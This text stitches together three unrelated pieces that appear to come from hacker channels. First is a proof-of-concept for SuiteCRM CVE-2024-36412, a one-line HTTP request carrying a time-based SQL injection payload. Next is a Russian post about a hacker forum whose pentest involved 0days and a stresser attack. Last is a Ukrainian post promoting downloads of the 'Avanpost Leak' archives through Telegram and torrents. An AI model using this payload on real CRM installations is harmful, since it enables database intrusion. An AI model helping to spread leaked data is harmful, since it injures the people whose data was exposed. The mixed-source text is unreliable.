SuiteCRM CVE-2024-36412

GET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1

#exploit #poc

Форум был полностью готов, мы бросили все свои дела месяцами над ним работали, покупали лицензионное ПО, плагины, заказали верстку. И вроде все красиво, юзер френдли. Вложили в него порядка 5 тысяч$(в разработку конкретно, многое делали сами, поэтому не так много вышло). Как речь дошла до пентеста, обратились к старичкам с экспы и к ребятам, которые имеют в наличии 0day под форумный движок и плагины. После этого пентеста мы во первых чуть не остались без штанов (дорого пздц), во вторых в блядском амерском плагине нашли критическую уязвимость, ну и конечно, как нехуй делать форум положили стрессером. К счастью частично ребята нам вернули наши инвестиции, на условиях, что мы отказываемся от этого проекта и делать будут они сами, как и финансировать. Люди порядочные с большим депозитом. Форум будет исключительно для российских специалистов, хакеров, багхантеров и других. В целом работа началась... Так должно быть даже лучше.
Это будет точно легендарный ресурс, не каждый день лучшие специалисты с большим коммерческим опытом объединяются.

https://t.me/mirea/141

Знову ми, знову аванпост. Вчора кацапи почали дудосити fex.net, йобані клоуни)
Тому справи такі: вже готується торрент, а тим часом, ми запаслись телеграм каналами де добрі люди вже розмістили всі парт. архіви.
Лінк на них буде оновлюватись по мірі того, як кацапи будуть їх репортити.

[Avanpost Leak]